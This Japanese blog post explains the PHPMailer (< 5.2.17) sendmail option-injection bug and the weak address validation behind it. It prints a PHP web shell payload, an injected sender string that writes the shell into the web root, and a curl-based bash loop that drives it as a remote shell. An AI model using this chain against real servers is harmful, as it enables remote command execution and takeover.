PHPMailerの脆弱性

PHPMailer (< 5.2.17)に脆弱性が見つかったらしいです。

PHPMailerは名前の通りPHPからメールが簡単に送信できるライブラリで PHPのアプリでは頻繁に使われているライブラリです。

脆弱性の内容

PHP Mailerは入力された内容などを処理して最終的にPHPの mail()関数でメールを実際に送信します。 この最後の引数に特定の文字列をいれてしまうことで脆弱性が発動しまうようです。

mail()は5つの引数をとって 1: 送信先 2: メールタイトル 3: メール本文 4: ヘッダ 5: オプション

この5つ目オプションでsendmailに渡すコマンドオプションを指定可能に なっています。

sendmailに渡せるオプションとして -O : sendmailの設定値をoption=value形式で設定できる -X : ログファイルを出力先指定

などがありこれら使うみたいです。

まず 送信者やメールタイトルとして

<?php  echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

といった悪いコードを書いておきます。 base64でエンコードされたコマンドを受け取って system で実行、 実行結果も base64でエンコードする というものです。

そしてオプションとして

-OQueueDirectory=/tmp -X/var/www/vul.php

を設定。 すると

sendmailを実行した際のログが /var/www/vul.php

に出力されますが、 そのログの中に

<?php  echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

↑この文字列が含まれることになります。

この状態で WEBから vul.php?cmd=(base64でエンコードされた任意のコマンド) にアクセスすると

 ~~ sendmailのログがずらずら 〜〜
   〜〜
  〜〜
   〜
|コマンドの実行結果(base64エンコード済み)|
    〜〜

という出力が返ってしまいます。 あとは 記号 | を手がかりに grep や sed cut などで必要なものを切り取って base64 decode すれば任意のコマンドがいくらでも実行できます。

あとは以下のシェルスクリプト実行で リモートシェルとして使えます。

cmd='id'
while [ "$cmd" != 'q' ]
do
    curl -sq http://hoge.bar/vul.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
    echo ""
    read -p '>' cmd
done

次にどうやって 任意のオプション文字列を紛れ込ませるかに関してですが どうやら 通常は入力値がメールアドレスとして適切な文字列が設定されているか validateAddress() でチェックしているところを PHPが ver 5.20 未満かつ PCREが使用できない場合

            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }

この部分の処理で最終的に   $patternselect = 'noregex';

になってしまい

             case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

チェックがザルと化すようです。

そのため

送信者アドレス:hacker@ -OQueueDirectory=/tmp -X/var/www/vul.php

などがチェックをすり抜けるようになってしまうみたいです。 このとき この送信者アドレスを Fromのフィールドに書き込むために

$params = sprintf('-f%s', $this->Sender);

パラメータを構成するのにこのコードが実行される場合があるので

$param = "-f hacker@ -O QueueDirectoru=/tmp -X /var/www/vul.php"

が完成してしまうことがあるというシナリオみたいです。

CTFの題材に使えそうなネタですね

参考1 参考2 参考3